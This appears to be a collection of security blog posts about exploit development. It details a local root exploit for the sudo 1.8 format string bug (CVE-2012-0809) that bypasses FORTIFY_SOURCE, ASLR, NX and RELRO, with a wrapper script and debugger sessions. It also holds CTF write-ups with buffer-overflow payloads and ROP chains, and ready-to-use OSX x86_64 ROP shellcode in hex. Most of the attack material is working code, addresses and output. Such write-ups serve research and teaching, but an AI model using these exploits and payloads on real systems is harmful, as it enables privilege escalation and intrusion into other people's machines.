Exploiting Sudo format string vunerability

February 16, 2012 by longld · 7 Comments 

In this post we will show how to exploit format string vulnerability in sudo 1.8 that reliably bypasses FORTIFY_SOURCE, ASLR, NX and Full RELRO protections. Our test environment is Fedora 16 which is shipped with a vulnerable sudo version (sudo-1.8.2p1).

The vulnerability

Vulnerability detail can be found in CVE-2012-0809. In summary, executing sudo in debug mode with crafted argv[0] will trigger the format string bug. E.g:

$ ln -s /usr/bin/sudo ./%n
$ ./%n -D9

The exploit

Though above format string vulnerability is straight, it is not easy to exploit on modern Linux distributions. sudo binary in Fedora 16 comes with:

In order to exploit format string bug we have to bypass all above protections, but thanks to this local bug, we can disable ASLR easily with resources limit trick (another notes, prelink is enabled on Fedora 16 so it also disable ASLR from local exploits). As a consequence, NX can be defeated with return-to-libc/ROP with known addresses. The most difficult part is bypassing FORTIFY_SOURCE.

Bypassing FORTIFY_SOURCE

We just follow “A Eulogy for Format Strings” article from Phrack #67 by Captain Planet wit very detail steps to bypass FORTIFY_SOURCE. In summary, there is an integer overflow bug in FORTIFY_SOURCE patch, by exploiting this we can turn off _IO_FLAGS2_FORTIFY bit in file stream and use “%n” operation from a writable address. Following steps will be done:

  1. Set nargs to a big value so (nargs * 4) will be truncated to a small integer value, the perfect value is nargs = 0×40000000, so nargs * 4 = 0. The format string to achieve this looks like: “%*1073741824$”
  2. Turn off _IO_FLAGS2_FORTIFY on stderr file stream
  3. Reset nargs = 0 to bypass check loop

Let examine #2 and #3 in detail. We create a wrapper (sudo-exploit.py) then fire a GDB session:

#!/usr/bin/env python
import os
import sys

def exploit(vuln):
    fmtstring = "%*123$ %*456$ %1073741824$"
    args = [fmtstring, "-D9"]
    env = os.environ
    os.execve(vuln, args, env)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        usage()
    else:
        exploit(sys.argv[1])
# ulimit -s unlimited
# gdb -q /usr/bin/sudo
Reading symbols from /usr/bin/sudo...Reading symbols from /usr/lib/debug/usr/bin/sudo.debug...done.
done.
gdb$ set exec-wrapper ./sudo-exploit.py
gdb$ run
process 2149 is executing new program: /usr/bin/sudo
*** invalid %N$ use detected ***

Program received signal SIGABRT, Aborted.
gdb$ bt
#0  0x40038416 in ?? ()
#1  0x400bc98f in __GI_raise (sig=0x6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:64
#2  0x400be2d5 in __GI_abort () at abort.c:91
#3  0x400fbe3a in __libc_message (do_abort=0x1, fmt=0x401f3dea "%s") at ../sysdeps/unix/sysv/linux/libc_fatal.c:198
#4  0x400fbf64 in __GI___libc_fatal (message=0x401f5a6c "*** invalid %N$ use detected ***\n") at ../sysdeps/unix/sysv/linux/libc_fatal.c:209
#5  0x400d1df5 in _IO_vfprintf_internal (s=0xbff42498, format=<optimized out>, ap=0xbff42b78  <incomplete sequence \340>) at vfprintf.c:1771
#6  0x400d566b in buffered_vfprintf (s=0x40234920, format=<optimized out>, args=<optimized out>) at vfprintf.c:2207
#7  0x400d0cad in _IO_vfprintf_internal (s=0x40234920, format=0x4023b958 "%*123$ %*456$ %1073741824$: settings: %s=%s\n", ap=0xbff42b78  <incomplete sequence \340>) at vfprintf.c:1256
#8  0x401958a1 in ___vfprintf_chk (fp=0x40234920, flag=0x1, format=0x4023b958 "%*123$ %*456$ %1073741824$: settings: %s=%s\n", ap=0xbff42b78  <incomplete sequence \340>) at vfprintf_chk.c:35
#9  0x400094a0 in vfprintf (__ap=0xbff42b78  <incomplete sequence \340>, __fmt=<optimized out>, __stream=<optimized out>) at /usr/include/bits/stdio2.h:128
#10 sudo_debug (level=0x9, fmt=0x4000dff3 "settings: %s=%s") at ./sudo.c:1202
#11 0x400082cd in parse_args (argc=0x1, argv=0x4023b730, nargc=0xbff42d20, nargv=0xbff42d24, settingsp=0xbff42d28, env_addp=0xbff42d2c) at ./parse_args.c:413
#12 0x40002890 in main (argc=0x2, argv=0xbff42df4, envp=0xbff42e00) at ./sudo.c:203

gdb$ list vfprintf.c:1688
1683	    /* Fill in the types of all the arguments.  */
1684	    for (cnt = 0; cnt < nspecs; ++cnt)
1685	      {
1686		/* If the width is determined by an argument this is an int.  */
1687		if (specs[cnt].width_arg != -1)
1688		  args_type[specs[cnt].width_arg] = PA_INT;
1689
1690		/* If the precision is determined by an argument this is an int.  */
1691		if (specs[cnt].prec_arg != -1)
1692		  args_type[specs[cnt].prec_arg] = PA_INT;
gdb$ break vfprintf.c:1688
Breakpoint 1 at 0x400d1c5b: file vfprintf.c, line 1688.

gdb$ run
process 2157 is executing new program: /usr/bin/sudo
   0x400d1c53 <_IO_vfprintf_internal+4531>:	mov    eax,DWORD PTR [edi+0x20]
   0x400d1c56 <_IO_vfprintf_internal+4534>:	cmp    eax,0xffffffff
   0x400d1c59 <_IO_vfprintf_internal+4537>:	je     0x400d1c68 <_IO_vfprintf_internal+4552>
=> 0x400d1c5b <_IO_vfprintf_internal+4539>:	mov    edx,DWORD PTR [ebp-0x484]
   0x400d1c61 <_IO_vfprintf_internal+4545>:	mov    DWORD PTR [edx+eax*4],0x0
   0x400d1c68 <_IO_vfprintf_internal+4552>:	mov    eax,DWORD PTR [edi+0x1c]
   0x400d1c6b <_IO_vfprintf_internal+4555>:	cmp    eax,0xffffffff
   0x400d1c6e <_IO_vfprintf_internal+4558>:	je     0x400d1c7d <_IO_vfprintf_internal+4573>

Breakpoint 1, _IO_vfprintf_internal (s=0xbfe48748, format=<optimized out>, ap=0xbfe48e28  <incomplete sequence \340>) at vfprintf.c:1688
1688		  args_type[specs[cnt].width_arg] = PA_INT;

gdb$ p &s->_flags2
$1 = (_IO_FILE **) 0xbf845310
gdb$ p/d (char*)&s->_flags2 - *(int)($ebp-0x484)
$2 = 11396

gdb$ p &nargs
$3 = (size_t *) 0xbf844e74
gdb$ p/d (char*)&nargs - *(int)($ebp-0x484)
$4 = 1924

s->_flags2 and nargs is on stack with fixed relative offsets to current stack pointer, so we can adjust offsets according to relative stack addresses to fulfill #2 & #3. Let do this again and calculate correct values when we have final format string for the exploit.

Bypassing Full RELRO

We can now use “%n” primitive to write anywhere with any value, but where to write to? sudo binary is compiled with Full RELRO, this means we cannot write to GOT entry or dynamic->.fini to redirect the execution as they are read-only. The idea here is simple: we try to overwrite function pointer in libc or ld-linux and hope it will be called later in program to trigger redirection. This works smoothly with sudo case.

# ln -s /usr/bin/sudo ./%x
# ulimit -s unlimited
# gdb -q ./%x
gdb$ list sudo.c:204
199	    memset(&user_details, 0, sizeof(user_details));
200	    user_info = get_user_info(&user_details);
201
202	    /* Parse command line arguments. */
203	    sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
204	    sudo_debug(9, "sudo_mode %d", sudo_mode);
205
206	    /* Print sudo version early, in case of plugin init failure. */
207	    if (ISSET(sudo_mode, MODE_VERSION)) {
208		printf("Sudo version %s\n", PACKAGE_VERSION);

gdb$ break sudo.c:207
gdb$ run -D9
4000e036: settings: 9=en_US.UTF-8
4000e0bc: settings: %x=en_US.UTF-8
4000e0c5: settings: true=en_US.UTF-8
4000e0fc: settings: 10.0.2.15/255.255.255.0 fe80::a00:27ff:fe9e:e68c/ffff:ffff:ffff:ffff::=en_US.UTF-8
a0001: sudo_mode -1078177084
Breakpoint 1, main (argc=0x2, argv=0xbfbc5394, envp=0xbfbc53a0) at ./sudo.c:207
207	    if (ISSET(sudo_mode, MODE_VERSION)) {

gdb$ vmmap libc
Start	End	Perm	Name
0x400a8000 0x4024d000 r-xp /lib/libc-2.14.90.so
0x4024d000 0x4024f000 r--p /lib/libc-2.14.90.so
0x4024f000 0x40250000 rw-p /lib/libc-2.14.90.so
gdb$ x/8wx 0x4024f000
0x4024f000:	0x401da990	0x40122490	0x40121e10	0x401227a0
0x4024f010:	0x4013fc60	0x40122fb0	0x40027f20	0x401223e0
gdb$ x/8i 0x40121e10
0x40121e10 <__GI___libc_malloc>:	sub    esp,0x3c
0x40121e13 <__GI___libc_malloc+3>:	mov    DWORD PTR [esp+0x2c],ebx
0x40121e17 <__GI___libc_malloc+7>:	call   0x401db813 <__i686.get_pc_thunk.bx>
0x40121e1c <__GI___libc_malloc+12>:	add    ebx,0x12d1d8
0x40121e22 <__GI___libc_malloc+18>:	mov    DWORD PTR [esp+0x30],esi
0x40121e26 <__GI___libc_malloc+22>:	mov    esi,DWORD PTR [esp+0x40]
0x40121e2a <__GI___libc_malloc+26>:	mov    DWORD PTR [esp+0x34],edi
0x40121e2e <__GI___libc_malloc+30>:	mov    DWORD PTR [esp+0x38],ebp

gdb$ set *0x4024f008=0x41414141
gdb$ continue
Program received signal SIGSEGV, Segmentation fault.
0x400bee20 <realloc@plt+0>:	jmp    DWORD PTR [ebx+0x10]
0x400bee26 <realloc@plt+6>:	push   0x8
0x400bee2b <realloc@plt+11>:	jmp    0x400bee00
=> 0x400bee30 <malloc@plt+0>:	jmp    DWORD PTR [ebx+0x14]
0x400bee36 <malloc@plt+6>:	push   0x10
0x400bee3b <malloc@plt+11>:	jmp    0x400bee00
0x400bee40 <memalign@plt+0>:	jmp    DWORD PTR [ebx+0x18]
0x400bee46 <memalign@plt+6>:	push   0x18
0x400bee30 in malloc@plt () from /lib/libc.so.6
gdb$ x/x $ebx+0x14
0x4024f008:	0x41414141

Bypassing NX

The last part of our exploit is bypassing NX and this can be done via libc ROP gadgets as its address now is fixed. We spray the environment with target payload and use a stack pivot gadget (add esp, 0xNNN) to jump to it. Out payload will look like:

[ ROP NOPs | setuid, execve, 0, &/bin/sh, nullptr, nullptr ]

Or we can use another simple version to avoid NULL byte:

[ ROP NOPs | execve, exit, &./custom_shell, nullptr, nullptr ]

Where “./custom_shell” is an available string in libc (e.g: “./0123456789:;<=>?”)

Exploit code

To not spoil the fun of people who may want to try it, I will post it later :)

Further notes

FORTIFY_SOURCE on x86_x64

The technique we use here to bypass FORTIFY_SOURCE failed work on x86_64 as we can not find a nargs value (32-bit) that satisfies: (nargs * 4) is truncated to a small 64-bit value. I hope someone will find new ways to bypass it on x86_64.

Reliability of exploit

Though we disable ASLR, stack address is not affected and sometimes there is a gap between current stack pointer and our payload in environment and we may fail to perform stack pivoting. In order to achieve reliability, we have to spray the environment carefully. Update: 65K environment is enough for 100% reliability on Fedora (thanks to brainsmoke)

Update: exploit on grsecurity/PaX-enabled kernel

Our exploit on Fedora16 with vanilla kernel relies on a single address: libc base address. With PaX’s ASLR implementation we have to bruteforce for 20-bits and this is definitely hard with proper ASLR. Though “ulimit -s unlimited” has no real effect on grsecurity/PaX-enabled kernel, it can help to reduce 4-bits entropy of library addresses. 16-bits bruteforcing still requires average 32K+ runs and is hopeless with grsecurity’s bruteforce deterring (15 minutes locked out of system for a failed try).

We had to re-work to make our exploit has a chance to win ASLR. Obviously, we cannot pick any address of library or binary to overwrite, the only way now is to overwrite available addresses on stack. *Fortunately*, we can overwrite saved EIP of sudo_debug() directly as there is pointers to it on stack. Following GDB session shows that:

gdb$ backtrace
#0  sudo_debug (level=0x9, fmt=0xb772c013 "settings: %s=%s") at ./sudo.c:1192
#1  0xb77262ed in parse_args (argc=0x1, argv=0xb7734dc8, nargc=0xbfffe720, nargv=0xbfffe724, settingsp=0xbfffe728, env_addp=0xbfffe72c) at ./parse_args.c:413
#2  0xb77208b0 in main (argc=0x2, argv=0xbfffe7f4, envp=0xbfffe800) at ./sudo.c:203
gdb$ pref 0xb77262ed
Found 5 results:
0xbfffe030 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>:	mov    eax,DWORD PTR [esp+0x2c])
0xbfffe060 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>:	mov    eax,DWORD PTR [esp+0x2c])
0xbfffe0c0 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>:	mov    eax,DWORD PTR [esp+0x2c])
0xbfffe0f0 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>:	mov    eax,DWORD PTR [esp+0x2c])
0xbfffe2a0 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>:	mov    eax,DWORD PTR [esp+0x2c])

By chosing to return to near by function inside sudo binary (e.g my_execve()), we can effectively reduce the entropy down to 4-bits with a short write (%hn):

gdb$ run
gdb$ p my_execve
$1 = {int (const char *, char * const *, char * const *)} 0xb7721fe0 <my_execve>

gdb$ run
gdb$ p my_execve
$2 = {int (const char *, char * const *, char * const *)} 0xb7726fe0 <my_execve>

This is a quite good improvement, even on PaX-enabled kernel we only need few tries to get a root shell. But with grsecurity’s bruteforce deterring, I don’t know how long it will take (maybe days) as I failed to get a shell after a day. Though we have a good exploit against real ASLR, it is still far from ideal “one-shot exploit”. One-shot exploit can only be done if we are able to leak the library/binary address then (ab)use it on the fly.

In TODO part of Phrack 67 article, the author mentioned that he could not stabilize the use of copy (read+write) primitive when abusing printf(). I decided to reproduce his experiment under a new condition: stack limit is lifted with “ulimit -s unlimited”. After hundred of tries for different offsets, we can stabilize the copy, which means we successfully leak the address and abuse it on the fly. Hunting for address on stack is easy now, we can choose to pick saved EIP of sudo_debug itself or any address of libc available on stack (e.g from __vfprintf_internal function). Then we calculate the offset from there to an exec() function, copy (read+write) it to overwrite saved EIP of sudo_debug() with a format string looks like “%*123$x %456x %789$n”. By repeating the write step, we are able to create custom arguments on stack to prepare for a valid execution via exec() and achieve a one-shot pwn.

Notes

  • We rarely find pointer to save EIP of functions on stack for direct overwrite like this case
  • Direct parameter access is 12-bytes each unlike 4-bytes each in normal format string exploit. This will limit your ability to write to arbitrary pointer on stack.
  • Copy primitive uses unsigned value, so if library/binary base is mapped at high address (e.g 0xb7NNNNNN) we will fail to leak the address on the fly (it is still an open problem, hope someone can find out). With PaX’s ASLR, we are in luck as it maps library/binary start at something like 0×2NNNNNNN in the effect of “ulimit -s unlimited” (so it actually has effect :)).
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Hack.lu CTF 2011: Nebula Death Stick Services writeup

October 3, 2011 by longld · 1 Comment 

Challenge Information

Death Sticks are a totally illegal drug in the universe.
However, somehow a company called Death Stick Services has managed to get a huge trade volume by selling Death Sticks directly and anonymously to their costumers.
Seems like nobody has the power to stop them, so the Galactic’s Secret Service ordered YOU and your Special Forces team to get a Shell on Death Stick Service’s server and search for any evidence on how to take them down!
May the force be with you.

http://ctf.hack.lu:2010/

Analysis

Thanks rd for helping Analysis part.

Checking around http://ctf.hack.lu:2010/ page, I found that there is a directory traversal vulnerability (http://ctf.hack.lu:2010/?page=../../../../etc/resolv.conf). Together with “./a.out“ from HTTP response header, I managed to download the binary via this request http://ctf.hack.lu:2010/?page=../a.out.

a.out” binary is a 32 bit x86 Linux binary, running on Ubuntu 10.10 server. There is a vulnerability in query parsing function parse_params as below.

parse_params

parse_params() function basically looks ‘?‘ and ‘=‘ in order to parse the input query such as /?page=blah, and then uses the different in length (len) to store parameter name and its value to the buffer on the stack of the caller function (handle_connection()). From above code, you can see that if we input in reverse order of ‘?‘ and ‘=‘ such as /=blah?, len value will be negative but it still pass the the condition check because of signed comparison. This leads into a traditional stack buffer overflow.

$ python2 -c ‘print “GET /=” + “A”*60 + “? HTTP/”‘|nc -v localhost 2010
..
(gdb) run
Starting program: /home/jail/ctf/hack.lu/o500/a.out
Notice: Nebulaserv – A Webserver for Nebulacorp

Notice: Starting up!

- Accepting requests on port 2010
[New process 4626]
- Got request with length 0: 127.0.0.1:35695 – GET /=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA? HTTP/

- Got param: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA< with value
- Opening ./nebula/index – 404 Not Found

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 4626]
0×41414141 in ?? ()

Exploit

The binary has NX and ASLR enabled so we have to leak libc info from server for ROP/ret2libc exploit. During the game, to save time we utilized shell on the same server from Nebula DB challenge to retrieved libc, then constructed a ROP payload to call a custom shell script as system(”/tmp/sh”). After the game, we investigate more to see if we can exploit without any knowledge of server. And here is the way we do:

Retrieve libc

In handle_connection() function socket fd is increased for every new connection. Though we can find this value on stack, it is still difficult to find code chunks to write back something valuable to our socket. Instead, we can utilize the directory traversal bug above to retrieve libc via this request: http://ctf.hack.lu:2010/?page=../../../../lib/libc.so.6

Construct ROP payload

With libc in hand, we know exact offset to any libc function and ROP payload can be constructed using “data re-use way” via sprintf() – which can perform byte-per-byte transfer the same as strcpy() – or “ROP with common functions in Ubuntu/Debian x86.

The flag

The flag was put in a file with strange name so you cannot guess and get it via directory traversal bug.


$ ls -l /home/nebulaserver

total 24

-r-xr-x--- 1 root nebulaserver 11195 2011-09-11 20:50 a.out

-r--r----- 1 root nebulaserver    27 2011-09-20 13:19 IguessTHISisTHEflagDOOD

drwxr-xr-x 3 root nebulaserver  4096 2011-09-11 20:22 nebula

-r-xr-x--- 1 root nebulaserver    82 2011-09-20 17:00 restart.sh

$ cat /home/nebulaserver/IguessTHISisTHEflagDOOD

Flag: R0PPINGy0urWAYinDUDE
$ ls -l /home/nebulaserver
total 24
-r-xr-x— 1 root nebulaserver 11195 2011-09-11 20:50 a.out
-r–r—– 1 root nebulaserver    27 2011-09-20 13:19 IguessTHISisTHEflagDOOD
drwxr-xr-x 3 root nebulaserver  4096 2011-09-11 20:22 nebula
-r-xr-x— 1 root nebulaserver    82 2011-09-20 17:00 restart.sh
$ cat /home/nebulaserver/IguessTHISisTHEflagDOOD
Flag: R0PPINGy0urWAYinDUDE
$

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Yet another universal OSX x86_64 dyld ROP shellcode

July 30, 2011 by longld · Leave a Comment 

This technique was killed by OSX Lion 10.7 with full ASLR. @pa_kt has posted an Universal ROP shellcode for OS X x64 with detail steps and explanation. If you don’t have a chance to read above post, the basic ideas are:

  • Copy stubcode to a writable area (.data section)
  • Make that area RWX
  • Jump to RWX area and execute stubcode
  • Stubcode will transfer normal shellcode to RWX area and execute it
  • All the ROP gadgets are from dyld module which is not randomized

In this post, we shows another OSX x86_64 dyld ROP shellcode which is more simple. We employ the same ideas with some minor differences in implementation:

  • Instead of using long gadgets with “leave”, we use direct, short gadgets from unintended code
  • Calling mprotect() via syscall
  • Short stubcode (7 bytes) using memcpy() to transfer payload

Here is the ROP shellcode with explanation:


# store [target], stubcode

0x00007fff5fc0e7ee # pop rsi ; adc al 0x83

0xc353575e545a5b90 # => rsi = stubcode

0x00007fff5fc24cdc # pop rdi

0x00007fff5fc74f80 # => rdi

0x00007fff5fc24d26 # mov [rdi+0x80] rsi; stubcode => [target]

# load rdx, 0x7 (prot RWX)

0x00007fff5fc24cdc # pop rdi

0x00007fff5fc75001 # => rdi

0x00007fff5fc1ddc0 # lea rax, [rdi-0x1]

0x00007fff5fc219c3 # pop rbp ; add [rax] al ; add cl cl

0x00007fff5fc75000 # => rbp

0x00007fff5fc0e7ee # pop rsi ; adc al 0x83

0x0000000000000007 # => rsi

0x00007fff5fc14149 # mov edx esi ; add [rax] al ; add [rbp+0x39] cl => rdx = 0x7

# load rsi, 4096 (size)

0x00007fff5fc0e7ee # pop rsi ; adc al 0x83

0x0000000000001000 # => rsi = 4096

# load rax, mprotect_syscall

0x00007fff5fc24cdc # pop rdi

0x000000000200004b # => rdi

0x00007fff5fc1ddc0 # lea rax, [rdi-0x1] => rax = 0x200004a (mprotect syscall)

# load rdi, target

0x00007fff5fc24cdc # pop rdi

0x00007fff5fc75000 # => rdi = target

# syscall

0x00007fff5fc1c76d # mov r10, rcx; syscall  => mprotect(target, 4096, 7)

0x00007fff5fc75000 # jump to target, execute stubcode

# stubcode

# 5B                pop rbx     # rbx -> memcpy()

# 5A                pop rdx     # rdx -> size

# 54                push rsp    # src -> &shellcode

# 5E                pop rsi     # src -> &shellcode

# 57                push rdi    # jump to target when return from memcpy()

# 53                push rbx    # memcpy()

# C3                ret         # execute memcpy(target, &shellcode, size)

0x00007fff5fc234f0 # &memcpy()

0x0000000000000200 # shellcode size = 512

<your shellcode here>

You can verify those gadgets and find more here: http://goo.gl/p35vY

Ready to use shellcode:


"\xee\xe7\xc0\x5f\xff\x7f\x00\x00\x90\x5b\x5a\x54\x5e\x57\x53\xc3"

"\xdc\x4c\xc2\x5f\xff\x7f\x00\x00\x80\x4f\xc7\x5f\xff\x7f\x00\x00"

"\x26\x4d\xc2\x5f\xff\x7f\x00\x00\xdc\x4c\xc2\x5f\xff\x7f\x00\x00"

"\x01\x50\xc7\x5f\xff\x7f\x00\x00\xc0\xdd\xc1\x5f\xff\x7f\x00\x00"

"\xc3\x19\xc2\x5f\xff\x7f\x00\x00\x00\x50\xc7\x5f\xff\x7f\x00\x00"

"\xee\xe7\xc0\x5f\xff\x7f\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00"

"\x49\x41\xc1\x5f\xff\x7f\x00\x00\xee\xe7\xc0\x5f\xff\x7f\x00\x00"

"\x00\x10\x00\x00\x00\x00\x00\x00\xdc\x4c\xc2\x5f\xff\x7f\x00\x00"

"\x4b\x00\x00\x02\x00\x00\x00\x00\xc0\xdd\xc1\x5f\xff\x7f\x00\x00"

"\xdc\x4c\xc2\x5f\xff\x7f\x00\x00\x00\x50\xc7\x5f\xff\x7f\x00\x00"

"\x6d\xc7\xc1\x5f\xff\x7f\x00\x00\x00\x50\xc7\x5f\xff\x7f\x00\x00"

"\xf0\x34\xc2\x5f\xff\x7f\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00"
# store [target], stubcode
0×00007fff5fc0e7ee # pop rsi ; adc al 0×83
0xc353575e545a5b90 # => rsi = stubcode: memcpy(target, shellcode, size)
0×00007fff5fc24cdc # pop rdi
0×00007fff5fc74f80 # => rdi
0×00007fff5fc24d26 # mov [rdi+0x80] rsi; stubcode => [target]
# load rdx, 0×7 (prot RWX)
0×00007fff5fc24cdc # pop rdi
0×00007fff5fc75001 # => rdi
0×00007fff5fc1ddc0 # lea rax, [rdi-0x1]
0×00007fff5fc219c3 # pop rbp ; add [rax] al ; add cl cl
0×00007fff5fc75000 # => rbp
0×00007fff5fc0e7ee # pop rsi ; adc al 0×83
0×0000000000000007 # => rsi
0×00007fff5fc14149 # mov edx esi ; add [rax] al ; add [rbp+0x39] cl => rdx = 0×7
# load rsi, 4096 (size)
0×00007fff5fc0e7ee # pop rsi ; adc al 0×83
0×0000000000001000 # => rsi = 4096
# load rax, mprotect_syscall
0×00007fff5fc24cdc # pop rdi
0×000000000200004b # => rdi
0×00007fff5fc1ddc0 # lea rax, [rdi-0x1] => rax = 0×200004a (mprotect syscall)
# load rdi, target
0×00007fff5fc24cdc # pop rdi
0×00007fff5fc75000 # => rdi = target
# syscall
0×00007fff5fc1c76d # mov r10, rcx; syscall  => mprotect(target, 4096, 7)
0×00007fff5fc75000 # jump to target, execute stubcode
# stubcode
# 5B                pop rbx     # rbx -> memcpy()
# 5A                pop rdx     # rdx -> size
# 54                push rsp    # src -> &shellcode
# 5E                pop rsi     # src -> &shellcode
# 57                push rdi    # jump to target when return from memcpy()
# 53                push rbx    # memcpy()
# C3                ret         # execute memcpy(target, &shellcode, size)
0×00007fff5fc234f0 # &memcpy()
0×0000000000000200 # shellcode size = 512
<your shellcode he
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

DEFCON 19 CTF Quals: writeups collection

May 31, 2011 by longld · 1 Comment 

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Padocon 2011 CTF Karma 400 exploit: the data re-use way

January 31, 2011 by longld · 1 Comment 

Karma 400 at Padocon 2011 Online CTF is a fun challenge. The binary was provided without source code, you can reach its decompiled source at disekt’s team writeup. In that writeup, the solution was bruteforcing address of IO stdin buffer with return to do_system() trick. Karma 400 is different than other karma attackme:

  • It runs as a network daemon (via xinetd): so you cannot abuse its arguments and environments
  • Input buffer is 200 bytes: you have room for payload (not only just overwrite saved EIP)
  • There is a 10 seconds sleep before main() returns: this makes bruteforcing less effective

In this post I will show how to exploit karma 400 with data re-use method.

$ gdb -q karma400_lolcosmostic
gdb$ pattern_create 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
gdb$ r
input: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
 EAX: 0x00000000  EBX: 0x41346141  ECX: 0xBFFFF384  EDX: 0x00B84FF4  o d I t S z a p c
 ESI: 0x00000000  EDI: 0x61413561  EBP: 0x62413961  ESP: 0xBFFFF3DC  EIP: 0x08048793
 CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[0x007B:0xBFFFF3DC]------------------------------------------------------[stack]
0xBFFFF42C : 64 37 41 64 38 41 64 39 - 41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae
0xBFFFF41C : 41 64 32 41 64 33 41 64 - 34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A
0xBFFFF40C : 36 41 63 37 41 63 38 41 - 63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
0xBFFFF3FC : 63 31 41 63 32 41 63 33 - 41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
0xBFFFF3EC : 41 62 36 41 62 37 41 62 - 38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
0xBFFFF3DC : 30 41 62 31 41 62 32 41 - 62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
--------------------------------------------------------------------------[code]
=> 0x8048793:    ret
 0x8048794:    nop
 0x8048795:    nop
 0x8048796:    nop
--------------------------------------------------------------------------------
0x08048793 in ?? ()
gdb$ x/x $esp
0xbffff3dc:    0x31624130

gdb$ pattern_offset 200 0x31624130
Searching for 0Ab1 in buf size 200
32

We have 200-32 = 168 bytes left for our payload. The goal is to execute a custom shell in /tmp, for this purpose I choose execv("/tmp/v", ptr_to_NULL).

Step 1: transfer the string "/tmp/v" to un-used data region using chained strcpy() calls

gdb$ x/32wx 0x08049a50
0x8049a50:    0x00000000    0x00000000    0x00000000    0x00000000
0x8049a60 <stdin>:    0x00b85440    0x00000000    0x00000000    0x00000000
0x8049a70:    0x00000000    0x00000000    0x00000000    0x00000000
0x8049a80 <stdout>:    0x00b854e0    0x00000000    0x00000000    0x00000000
0x8049a90:    0x00000000    0x00000000    0x00000000    0x00000000
0x8049aa0:    0x00000000    0x00000000    0x00000000    0x00000000
0x8049ab0:    0x00000000    0x00000000    0x00000000    0x00000000
0x8049ac0:    0x00000000    0x00000000    0x00000000    0x00000000

TARGET = 0x8049a90
NULLARGV = TARGET - 4

gdb$ info func strcpy@plt
All functions matching regular expression "strcpy@plt":

Non-debugging symbols:
0x080484f0  strcpy@plt

STRCPY = 0x080484f0

gdb$ x/4i 0x80485e3
 0x80485e3:    pop    ebx
 0x80485e4:    pop    ebp
 0x80485e5:    ret
 0x80485e6:    lea    esi,[esi+0x0]
gdb$

POP2RET = 0x80485e3

gdb$ findsubstr 0x08048000 0x08049000 "/tmp/v\\x00"
Searching for '/tmp/v\x00'
'/': 0x8048134
't': 0x80480f6
'm': 0x80482dc
'p': 0x8048313
'/': 0x8048134
'v\x00': 0x80485e7

DATA1 = [0x8048134, 0x80480f6, 0x80482dc, 0x8048313, 0x8048134, 0x80485e7]

The payload will look like:
[ STRCPY, POP2RET, TARGET, DATA1[0],  STRCPY, POP2RET, TARGET+1, DATA1[1], ... ]

Step-2: overwrite GOT entry of puts() (or any function) with execv()
This is a bit tricky, because libc address is ASCII ARMOR we cannot put execv() address directly on the payload. Fortunately, libc address is not randomized so we can directly overwrite GOT with execv() address using strcpy likes the data above.

gdb$ p execv
$2 = {<text variable, no debug info>} 0xac4680 <execv>

EXECV = 0xac4680
gdb$ info functions puts@plt
All functions matching regular expression "puts@plt":

Non-debugging symbols:
0x08048540  puts@plt
gdb$ x/i 0x08048540
 0x8048540 <puts@plt>:    jmp    DWORD PTR ds:0x8049a48

PLTADDR = 0x08048540
GOTADDR = 0x8049a48

gdb$ findsubstr 0x08048000 0x08049000  0xac4680
Searching for '\x80F\xac'
'\x80': 0x804803d
'F': 0x8048003
'\xac': 0x80481b0

gdb$ findsubstr 0x08048000 0x08049000  0x00
Searching for '\x00'
'\x00': 0x8048007

